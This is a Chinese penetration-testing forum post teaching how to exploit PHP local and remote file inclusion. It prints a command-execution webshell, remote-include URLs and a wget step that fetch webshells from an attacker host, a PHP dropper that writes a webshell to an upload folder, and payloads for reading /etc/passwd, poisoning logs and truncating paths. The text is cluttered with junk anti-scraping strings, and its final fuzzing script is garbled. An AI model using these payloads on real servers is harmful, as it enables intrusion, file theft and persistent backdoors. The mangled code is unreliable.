中国网络渗透测试联盟

标题: PHP文件包含漏洞详解(包含截断方法) [打印本页]

作者: admin    时间: 2013-4-19 19:07
标题: PHP文件包含漏洞详解(包含截断方法)
一、什么才是”远程文件包含漏洞”?
: a6 y( d& f! w7 {9 k! x& n2 I3 g+ I- v2 X6 J0 h% a
回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。
& K1 e1 H, ^1 e* k9 C) m& u
7 v5 [1 \2 V9 C+ z2 c涉及到的危险函数:include(),require()和include_once(),require_once()
0 a# B5 P% p2 L1 v# f
; z5 s/ V, d2 r7 j2 |1 ?Include:包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但整个php文件继续执行。
0 O: e+ U: |4 i6 s* @: JRequire:跟include唯一不同的是,当产生错误时候,include下面继续运行而require停止运行了。: B4 ]$ d4 L: ~1 i( y
Include_once:这个函数跟include函数作用几乎相同,只是他在导入函数之前先检测下该文件是否被导入。如果已经执行一遍那么就不重复执行了。4 y" n, B" F0 V: \
Require_once:这个函数跟require的区别 跟上面我所讲的include和include_once是一样的。所以我就不重复了。2 @1 d: B" J9 \

: @7 V  B+ ~# I: L3 N8 p5 R( Ephp.ini配置文件:allow_url_fopen=off 即不可以包含远程文件。Php4存在远程&本地,php5仅存在本地包含。' r9 j0 e3 p$ h/ J- e) ?
2 y  v6 c$ z( V0 r# L' x' B
二、为什么要包含文件?
/ t6 `* Z* O5 {2 g
' b- V/ l' P1 j/ B程序员写程序的时候,不喜欢干同样的事情,也不喜欢把同样的代码(比如一些公用的函数)写几次,于是就把需要公用的代码写在一个单独的文件里面,比 如 share.php,而后在其它文件进行包含调用。在php里,我们就是使用上面列举的那几个函数来达到这个目的的,它的工作流程:如果你想 在 main.php里包含share.php,我将这样写include(“share.php”)就达到目的,然后就可以使用share.php中的 函数了,像这个写死需要包含的文件名称的自然没有什么问题,也不会出现漏洞,那么问题到底是出在哪里呢?- D0 ~) T' f7 o( [
/ C8 Q' G2 Y" A) U6 D0 K
有的时候可能不能确定需要包含哪个文件,比如先来看下面这个文件index.php的代码:
, `9 p# ~0 K/ l) [* F, R
( ?" Q6 ]( }8 n2 ^9 \if ($_GET) {
6 D& o& ?. y4 q0 ~& p        include $_GET;
$ _$ A$ V! Z( a) R) ?$ G: I} else {/ R% T' F0 h3 L' \
        include ”home.php”;0 k+ N$ K0 V9 C; H
}
% T/ @# ~' F2 r! a7 l; m6 n" Y  p! l# s7 H  h
很正常的一段PHP代码,它是怎么运作的呢?
/ `) X: @3 \8 u' V9 W
. N9 J$ Z2 f& u. x0 b上面这段代码的使用格式可能是这样的:
& |# K2 t9 ^% w3 O# w
. ]% m) |( k8 f- xhttp://hi.baidu.com/m4r10/php/index.php?page=main.php或者& k' j0 x, Y' t5 n: ?+ R
http://hi.baidu.com/m4r10/php/index.php?page=downloads.php2 Z" T& E* F* ~$ W. x
4 W, }" U0 }/ X" G, q( ]7 f
结合上面代码,简单说下怎么运作的:
8 K/ {0 X0 j. W* R, D. @  U
  m6 v1 n2 c- W9 Z( K1.提交上面这个URL,在index.php中就取得这个page的值($_GET)。" b; z: d, y* V7 C. @+ l4 K
2.判断$_GET是不是空,若不空(这里是main.php)就用include来包含这个文件。
- N9 g3 N$ Y. p1 F, T3.若$_GET空的话就执行else,来 include ”home.php” 这个文件。
! U0 j- s  A" s8 X7 v1 G
/ R/ u0 x& f. C- `" W& ?三、为什么会产生漏洞?
" C% E6 b: j9 K6 X$ {. ~% _, d( [+ r8 e5 |- i- o. |
你也许要说,这样很好呀,可以按照URL来动态包含文件,多么方便呀,怎么产生漏洞的呢?问题的答案是:我们不乖巧,我们总喜欢和别人不一样,我们 不会按照他的链接来操作,我们可能想自己写想包含(调用)的文件,比如我们会随便的打入下面这个URL:http: //hi.baidu.com /m4r10/php/index.php?page=hello.php。然后我们的index.php程序就傻傻按照上面我们说得步骤去执行:取 page为hello.php,然后去include(hello.php),这时问题出现了,因为我们并没有hello.php这个文件,所以 它 include的时候就会报警告,类似下列信息:  ?3 Z3 X6 c8 a# E
+ c. s# ^  Z6 Z9 S
Warning: include(hello.php) [function.include]: failed to open stream: No such file or directory in /vhost/wwwroot/php/index.php on line 3
! C* ]$ E. i" Q& ^Warning: include() [function.include]: Failed opening ’hello.php’ for inclusion (include_path=’.:’) in /vhost/wwwroot/php/index.php on line 3' w8 Z, W4 [" }0 d% }4 g- J* a

" K9 H6 {( i5 ^1 d. [& k注意上面的那个Warning就是找不到我们指定的hello.php文件,也就是包含不到我们指定路径的文件;而后面的警告是因为前面没有找到指定文件,所以包含的时候就出警告了。0 z( ^7 F0 C+ z

2 m  D. p; g: h- G- H  u: P9 K四、如何利用?5 W1 [8 `4 O+ K6 H& Q! T
. a! C/ v: c; ?) {
上面可以看到,问题出现了,那么我们怎么利用这样的漏洞呢,利用方法其实很多,但是实质上都是差不多的,我这里说三个比较常见的利用方法:: U7 _2 d. t7 B& g9 A

: g0 s+ [* }( s7 v1.包含读出目标机上其它文件+ K' O1 O( k( A5 }/ e6 w1 M7 ^8 W# T
' G) ?0 X8 t1 ~+ p8 _
由前面我们可以看到,由于对取得的参数page没有过滤,于是我们可以任意指定目标主机上的其它敏感文件,例如在前面的警告中,我们可以看到暴露的绝对路径(vhost/wwwroot/php/),那么我们就可以多次探测来包含其它文件,比如指定URL为:http://hi.baidu.com /m4r10/php/index.php?page=./txt.txt可以读出当前路径下的txt.txt文件,也可以使用../../进行目录跳转 (在没过滤../的情况下);也可以直接指定绝对路径,读取敏感的系统文件,比如这个URL:http://hi.baidu.com/m4r10 /php/index.php?page=/etc/passwd,如果目标主机没有对权限限制的很严格,或者启动Apache的权限比较高,是可以读出 这个文件内容的。否则就会得到一个类似于:open_basedir restriction in effect.的Warning(这里是由于apache的open_basedir中限制了访问目录)。  J4 P. A, I) }) N

2 |1 X8 P2 U* K* D' E" d* G2.远程文件包含可运行的PHP木马
+ p8 n4 }' B, U. C8 e) M% N& y: ~- S) w. O  o
如果目标主机的”allow_url_fopen”是激活的(默认是激活的,没几个人会修改),我们就可以有更大的利用空间,我们可以指定其它 URL上的一个包含PHP代码的webshell来直接运行,比如,我先写一段运行命令的PHP代码,如下保存为cmd.txt(后缀不重要,只要内容为 PHP格式就可以了)。
* o& x  Y# O% {  o0 v
$ x1 A1 K  b+ L/ J- bif (get_magic_quotes_gpc()){5 O# l- \. |$ i/ d/ H# F3 B
        $_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //去掉转义字符(可去掉字符串中的反斜线字符)9 U8 m* G" \4 t) u$ h$ [
        ini_set(“max_execution_time”,0); //设定针对这个文件的执行时间,0为不限制.
6 o) E. o6 b4 G+ T. S        echo ”M4R10开始行”;       //打印的返回的开始行提示信息
8 ~! C' n% w$ l: {4 j1 F) D$ D        passthru($_REQUEST["cmd"]);   //运行cmd指定的命令
5 N: U6 Z3 K$ q- ?1 J5 o+ G7 t# u% D        echo ”M4R10结束行”;       //打印的返回的结束行提示信息& N/ @' }$ W! k6 n2 T# C. X
?>
# |$ n6 m* l* w8 d; A/ Z" @3 [
) T  Q9 ]' \" x; n) T2 O以上这个文件的作用就是接受cmd指定的命令,并调用passthru函数执行,把内容返回在M4R10开始行与M4R10结束行之间。把这个文件 保存到我们主机的服务器上(可以是不支持PHP的主机),只要能通过HTTP访问到就可以了,例如地址如下:http://www.xxx.cn/cmd.txt,然后我们就可以在那个漏洞主机上构造如下URL来利用了:( j# M* l( \$ L

& ]6 Q+ W! E- u; A, Y  W0 zhttp://hi.baidu.com/m4r10/php /index.php?page=http://www.xxx.cn/cmd.txt?cmd=ls
! F% t! o" R( h
9 d+ h# l$ `7 Y6 c' f其中cmd后面的就是你需要执行的命令,其它常 用的命令(以*UNIX为例)如下:
0 W, e$ ?8 d0 ?& h5 w
" {4 W& F* }# M5 Gll 列目录、文件(相当于Windows下dir)% s: b- c* p1 V/ p  V, U9 ?: Y- T
pwd 查看当前绝对路径* b5 D* p1 F  x8 G1 e
id whoami 查看当前用户7 T3 t  c+ ^% L
wget 下载指定URL的文件
, L+ u# u1 s% V% l; G) H
! Y2 J5 v3 J" a9 D; g- b7 q6 Q8 @等等其它的,你主机去BAIDU找吧,就不列举了。  V% w9 D' G2 E5 m/ _) i' t2 b
$ q1 X0 T3 q; P5 c: U
3.包含一个创建文件的PHP文件(常用)9 i$ P: D# R( U8 |

5 r, x  e) ]# J3 G; `也许有的人认为还是得到目标机上的一个真实的Webshell比较放心,万一哪天人家发现这儿个包含漏洞修补了,我们就不能再远程包含得到上面的那 个” 伪”Webshell了,不是么?可以理解这个心态,我们继续。得到一个真实的Webshell,我们也说两种常见的方法:" T: K$ L0 Q" S  F( ~- R" u, m

  K' W2 T  o( O, G5 h1)使用wget之类的命令来下载一个Webshell" B; l8 ?" V0 z' ?7 i
7 B- c, o% V+ U; K
这个比较简单,也很常用,在上面我们得到的那个伪webshell中,我们可以执行命令,那么我们也可以调用系统中的一个很厉害的角色,wget, 这个命令的强大你可以google下,参数一大堆,绝对搞晕你,呵呵,我们不需要那么复杂,我们就使用一个 -O(–output- document=FILE,把文档写到FILE文件中) 就可以了,呵呵。
& r: P' I$ y) ?# y+ s/ U+ K8 ?
4 e, {0 h8 a+ W( S2 B  o3 ]前提是你在按照前面的步骤放一个包含PHP代码的Webshell在一个可以通过HTTP或者FTP等可以访问的地方,比 如:http://www.xxx.cn/m4r10.txt,这个文件里写的就是Webshell的内容。然后我们在前面得到的伪 Webshell中 执行如下的URL:7 I. g# @8 Q$ m9 N& J* j. e
3 Q0 q9 b9 z1 q( q1 X9 P2 }. N
http://hi.baidu.com/m4r10/php/index.php?page=http://www.xxx.cn /cmd.txt?cmd=wget http://www.xxx.cn/m4r10.txt -O m4r10.php) G6 `. u3 d! c" \& ]

/ w- p" T1 L. x3 P0 j如果当前目录可写,就能得到 一个叫做m4r10.php的Webshell了,如果当前目录不可写,还需要想其它的办法。0 x& g4 ]8 c. v2 c( t
& v8 K% M! L# P, _
2)使用文件来创建5 J# l3 c& R$ ]5 n

" ]& X9 H' c5 G; g/ T, L前面的wget可能会遇到当前目录不能写的情况;或者目标主机禁用了(或者没装)这个命令,我们又需要变通一下了,我们可以结合前面的包含文件漏洞来包含一个创建文件(写文件)的PHP脚本,内容如下:$ g& Y4 }, O$ t* s4 m
* @7 h$ t: k$ y, B6 A
<?php
' ?5 [% y1 s+ s7 T8 J3 w3 s0 f$f=file_get_contents(“http://www.xxx.cn/m4r10.txt”); //打开指定路径的文件流  Y9 h% s9 p! q
$ff=fopen(“./upload/m4r10.php”,”a”);     //寻找一个可以的目录,创建一个文件
8 T9 F, O7 E7 b1 o1 Mfwrite ($ff,$f);  //把前面打开的文件流写到创建的文件里& q. Y" W0 U" Q' g- U+ M
fclose($ff);    //关闭保存文件% }! _' I: O% q* {3 U# T
?>; Z) L9 O: Y3 v/ ?+ c# B7 Y, l0 [, b
3 b5 P7 P( g+ b- z9 Z1 y9 [9 i
还是写入我们上面用wget下载的那个php文件,但是我们改进了方法,用PHP脚本来实现,可以使用上面的cmd.php?cmd=ll查找可以 写的目录,比如这里的upload,然后把文件创建在这个目录下:./upload/m4r10.php。然后就得到我们的Webshell了。
+ e' D! {, C9 C& g: T  T  X+ y. W9 o1 p2 ?5 H7 C! n* f( H' m
4.本地文件包含(常用)6 t. \; K/ U, z5 h" F

$ T% u7 p! I; Y* f典型的漏洞代码:
: D* p' u( D" w+ K4 {) F4 w3 H* l% j9 M
<?php
- H' h: V# L7 S' ]- f* }, @/ s- iinclude($_GET['pages'].‘.php’);! i5 \  ]7 Q6 ~8 l) ~
?>8 F& |+ i7 i8 q! u% w/ v

5 F0 F! m  T6 f黑盒判断方法:8 ^: k' c! ?& u; I& L
单纯的从URL判断的话,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞。
0 I& N6 s( B$ F. T, X# W! P  D  X% i' U2 t: l0 l
本地包含漏洞的利用(这里先忽略截断问题,下面会将截断的方法)/ B) e2 l" \6 ]# `6 [
# x& _% ~7 \1 \% {' X
1、包含同服务器中上传的jpg、txt、rar等文件,这个是最理想的情况了。
, v, Y- K( c# Q% ~0 ^2 a2 D# q) t
2、包含系统的各种日志,如apache日志,文件系统日志等 其中apache当记录格式为combined,一般日志都会很大,基本无法包含成功。包含log是有自动化攻击程序的。1 a  I; ^( y% h! |8 I( R: B' E
其中鬼子的博客中有提到一个空格的问题。见3 y6 @& |7 G( e  z% j5 l$ _
《邪恶的空格-PHP本地文件包含漏洞的新突破口》 - _7 n3 A- ]8 j
http://huaidan.org/archives/1144.html ' i/ B# @( p& k4 _7 J5 H
解决空格问题其实把一句话base64加密后再写入就可以执行了。6 ~) y- ^' y& H) X# z
3 o5 K. x, H  o0 k7 L3 s% u+ |
3、包含 /proc/self/environ . 这个环境变量有访问web的session信息和包含user-agent的参数。user-agent在客户端是可以修改的。参考:
( R7 ?) T% W/ B. H" d( U6 }9 X《Shell via LFI – proc/self/environ method》6 X. `! o8 i9 @" |7 z( [* b
http://hi.baidu.com/root_exp/blo ... 42664fd7887d7d.html  
3 C% S, A, C3 y7 I2 ?) A
5 Z" i9 b* Q8 F( W1 ?" n4、包含由php程序本身生成的文件,缓存、模版等,开源的程序成功率大。. b* x! _. x  l. c
! S8 ?5 s" r* G9 q* C& L
5、利用本地包含读取PHP敏感性文件,需要PHP5以上版本。如看到“config”的源码如下
0 x9 u5 C- o" t) W, b; |0 eindex.php?pages=php://filter/read=convert.base64-encode/resource=config' E* H7 J2 L% {7 j* Q5 A9 W
特别的情况用到readfile() 函数不是包含执行,可以直接读源码。- w% X- X! g0 }% w

4 j! X; l1 z* I, d8 y# F6、利用phpinfo页面getshell。一般大组织的web群存在phpinfo的机会挺大的。6 h2 R! h$ a1 @
poc和介绍参考:5 f2 v* X, A( t  S" N9 C
《利用phpinfo信息LFI临时文件》+ V: X: T, W; G4 `, \
http://hi.baidu.com/idwar/blog/item/43101de153370126279791f2.html
1 ^0 @' g' g- r- q7 G
; k! l$ X% f" ~* C4 n1 ~7、利用包含出错,或者包含有未初始化变量的PHP文件,只要变量未初始化就可能再次攻击 具体见:$ \( i' n4 R; F$ M& m* n
《include()本地文件包含漏洞随想》
$ W! h! T2 H: J' Jhttp://www.2cto.com/Article/200809/29748.html
  |4 t0 Q6 }0 d: D) I, {- X3 J; K+ }! Q; `' Q- @5 {
8、结合跨站使用% B8 |, Z$ [0 y7 h/ x
index.php?pages=http://127.0.0.1/path/xss.php?xss=phpcode (要考虑域信任问题)
1 H: O; m& e4 l9 i5 i4 N6 o' ?% `
: T5 ?# ]. K/ q, M2 X9、包含临时文件文件。这个方法很麻烦的。参考:# m! t. n! }  o' B. \+ C- {3 l+ M& p' c
《POST method uploads》9 Q3 r' f9 @$ I  N5 R* {7 L( {
http://www.php.net/manual/en/features.file-upload.post-method.php 0 `/ [5 b$ v0 [1 Z
解决临时文件删除方法:慢连接 (注:前提是 file_uploads = On,5.3.1中增加了max_file_uploadsphp.ini file_uploads = On,5.3.1中增加了max_file_uploads,默认最大一次上传20个)
0 a+ y5 W" W% _, R  Twindows格式:win下最长4个随机字符( ‘a’-’z’, ‘A’-’Z’, ’0′-’9′)如: c:/windows/temp/php3e.tmp
3 q) V* ^" q6 T6 o( |6 blinux格式:6个随机字符( ‘a’-’z’, ‘A’-’Z’, ’0′-’9′) 如:/tmp/phpUs7MxA/ I( x. O/ W  E1 h5 }. c
慢连接的两种上传代码参考:
/ G2 x1 \( k3 s8 `《PHP安全之LFI漏洞GetShell方法大阅兵》7 N9 D- J' F8 g2 S, A" W
http://www.myhack58.com/Article/html/3/62/2011/32008_2.htm  
/ C) K; B" F4 ^. P( d* v+ T+ ?! @5 D# D4 J. l2 l* E% K# w
10、当前实在找不到写权限目录时候,注入到log中再寻找写权限目录。如注入到log.
! ~$ _7 N5 s  \9 i6 |5 T" `, c7 U! bLinux: index.php?pages=/var/log/apache/logs/error_log%00&x=/&y=uname3 p/ N0 h" n. e, u0 ?/ B2 N
windows: index.php?pages=..\apache\logs\error.log%00&x=.&y=dir
! l; S5 p9 a) c1 d0 i! i具体参考《PHP本地文件包含(LFI)漏洞利用》" k+ M; h) A) R+ B$ B& W
http://kingbase.org/blog/php_local_file_inclusion_exploit
5 {, [8 U; n3 `) a, ^/ R8 P# X/ e9 ~2 h- _7 w4 a/ P- A, v
11、使用php wrapper例如php://input、php://filter、data://等包含文件 在《PHP 5.2.0 and allow_url_include》//http://blog.php-security.org/archives/45-PHP-5.2.0-and-allow_url_include.html 其中文中提到的allow_url_fopen和allow_url_include只是保护了against URL handles标记为URL.这影响了http(s) and ftp(s)但是并没有影响php或date 这些url形式。
- D5 h9 R; a( m$ v12、LFI判断目录是否存在和列目录,如) S1 j% E0 A6 v! q1 W
**index.php?pages=../../../../../../var/www/dossierexistant/../../../../../etc/passwd%00
! }+ ]+ N& y  @8 m4 A**这个方法在TTYshell上是可以完全是可以判断的,但是在URL上有时候不可行。即使不存在dossierexistant也可以回显passwd内容。3 k5 r$ j/ l5 g5 [6 h1 J3 ^3 g
index.php?pages=../../../../../../var/www/dossierexistant/../../../../../etc/passwd%00
. I4 S- {% m. q0 h% ]**FreeBSD 《directory listing with PHP file functions》http://websec…ress.com/2009 … php-file-functions/ 列目录0 b9 P8 b: \5 u
**存在逻辑判断的时候,如不存在该目录就会返回header.php+File not found+footer.php 存在就会返回header.php+footer.php。这种逻辑很符合程序员的习惯。曾经用找到了一个目录很深的日志获得shell。7 q7 I6 O' m# k; W

# A6 ]. O- |- ]13、包含SESSION文件,php保存格式 sess_SESSIONID 默认位置是/tmp/(PHP Sessions)、/var/lib/php/session/(PHP Sessions)、 /var/lib/php5/(PHP Sessions) 和c:/windows/temp/(PHP Sessions)等文件中。! w' X7 ]1 a+ }5 i5 _

9 V- V$ _& c( N/ n# a- a+ V5 f5 j: @. {14、包含 /proc/self/cmdline 或者/proc/self/fd/找到log文件 (拥有者为root,默认情况要root才能访问)
, U! g. B; |* e3 s具体参考:  i: _  r) H2 \' w( O* q) P; \
Local File Inclusion – 《Tricks of the Trade》
# u, D; d& ~$ y; ^* ]http://labs.neohapsis.com/2008/0 ... ricks-of-the-trade/  
" }# x2 U& H- d# a还有其他提到包含/var/log/auth.log的,但是这个文件默认情况也是644.: G+ @; }9 k% y! l: i( C

# v" E3 z; S1 B$ ^  r9 }4 B15、包含maillog 通常位置/var/log/maillog 这个方法也很鸡肋,具体参考:
4 T' R1 M' x4 ^《local file inclusion tricks 》
2 e1 }  j) @3 P/ J* a! q& Z! P4 O链接找不到了! M5 S$ U6 G4 I7 P1 n* T
8 |5 m# Q& X. v- M( r
16、包含固定的文件,非常鸡肋,为了完整性也提下。如,可用中间人攻击。
; o( d% J& p5 F. Q- \
9 c' Y3 q4 y$ _6 A2 Y% c- M! Z) C& |: B突破限制截断后面的字符串技巧" h/ Q5 c8 i2 T1 o3 x5 S

* o" l) ~' F8 ~! A" L6 T9 G利用本地包含时常常需要用%00来截断后面的字符串,但在GPC为ON时%00是会被转义的,那么还有其他方法么?
! w8 B# ]" o0 h' O* K5 H) F" _7 v! a( `0 y7 ]4 z
用一定数量的/突破操作系统对文件名的长度限制来截断后面的字符串(推测相对路径可用)5 p( ~* ~" K. Z, X) H$ `

3 R$ ~6 R3 m) G0 ~看漏洞代码:! l0 Z3 Y( M7 W5 ?7 O) H9 t2 H

  F" R0 _1 y9 _9 m<?php  e# G$ {8 }: T
$webpath = dirname(__FILE__)."/";
; U' |3 [( ?$ B& n+ s% K  ?$filepath = "test.txt";
3 P$ X& Q) |% B; ~7 [9 M+ Qfor($i =1;$i<1000;$i++){% [% c  Q; o2 _4 D! `
$filepath .= '.';/ C2 h3 ?5 V3 G* H0 ^5 P2 }
}
5 \8 |! W% Z8 S* h3 B2 o9 _include  $webpath.$filepath.".php";* p; p7 _. [- [0 S$ T* ~+ y2 i, A
?>
' k4 ~7 R( \/ Ptest.txt 代码:<?php die('OK');?>
" d% [1 b0 c$ q& G$ G+ a6 K. o) f$ G+ C
结果截断失败,改下代码:4 Z# b, ^% Y' Z" m

  j# V$ ~1 n4 Y; T<?php
! Y: g  _; l4 {- X" \. N3 a$webpath = dirname(__FILE__)."/";& G4 o* k$ r7 N5 Y3 C# g0 r% q
$filepath = "test.txt";
4 r: g+ u* m* h& R8 n- v' m1 Yfor($i =1;$i<1000;$i++){2 }0 C/ R% H: n( P
$filepath .= '.';
& l) C6 P' h! x1 Y}
2 o: A) M9 M0 w/ M+ j( \include    $filepath.".php";  //相对路径% V4 j8 H& D' _7 o) `3 J5 X5 V
?>
+ T! q! {1 q0 A; }5 ^& y& U4 B
这次成功。% d$ F" i/ P/ t6 a* g* `. Z
1 L* V& H! `' }2 b) r# a
以上是windows下的方法,其实linux也可以:
2 x% B- C1 V% _3 x
! ]5 z/ `& s7 A2 X" U  j$ ~<?php
! [5 r8 U0 _! f7 N$a='';2 J: T1 R6 p2 l, _+ @
for($i=0;$i<=4071;$i++) {
2 Y6 m3 A) `  B, h, q2 E- |2 a( p  M$a .= '/';
2 `  I6 B5 [9 d5 v- p" W* u}( e  y: I# G$ l6 u
$a = 'test.txt'.$a;                //完整的路径为/var/www/test/test.txt  A5 Y" I! X; \) A* r
require_once($a.'.php');
( r& O5 q3 H" H?>* D; L; f/ f7 J! D1 z% J' Z, ?
, N& P7 D. x5 g
include截断
4 M& E/ R( e% h6 e<?php ! w) `4 ~& t; H, N9 P# K6 k
include $_GET['action'].".php"; ?>提交“action=/etc/passwd%00”中的“%00”将截断后面的“.php”,但是除了“%00”还有没有其他的字符可以实现截断使用呢?" h9 ~1 R0 a- }  Y+ b0 H
- l3 H2 \. c( J& {5 A
肯定有人想到了远程包含的url里问号“?”的作用,通过提交“action=http://www.hacksite.com/evil-code.txt?”这里“?”实现了“伪截断”:),好象这个看上去不是那么舒服那么我们简单写个代码fuzz一下:) ^% z  F6 p5 t

( f# Q7 @5 T4 N" y3 K) Z9 a# N4 r3 f2 C6 m' [! \* B' K$ W
<?php////////////////////////var5.php代码:////include $_GET['action'].".php"; ////print strlen(realpath("./"))+strlen($_GET['action']);  ///////////////////ini_set('max_execution_time',  l: K" E6 ~" U$ p
                        0);$str='';for($i=0;$i<50000;$i++){        $str=$str."/";        $resp=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.$str);        //1.txt里的代码为print 'hi';        if
! \9 m5 \% j5 `, N                        (strpos($resp," {$ a; [! @* m* F+ X3 r- L$ h
                        'hi')/ m- a# \" `% {2 w
                        !==
! E$ q7 O! r. G/ |  W        经过测试字符“.”、“ /”或者2个字符的组合,在一定的长度时将被截断 win系统和*nix的系统长度不一样,当win下strlen(realpath("./"))+strlen($_GET['action'])的长度大于256时被截断,对于*nix的长度是4 * 1024 = 4096。 对于php.ini里设置远程文件关闭的时候就可以利用上面的技巧包含本地文件了。(此漏洞由cloie#ph4nt0m.org最先发现])                false){                print $i;                exit;        }}?># v/ v' l3 n7 b; k  l4 E9 Q





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2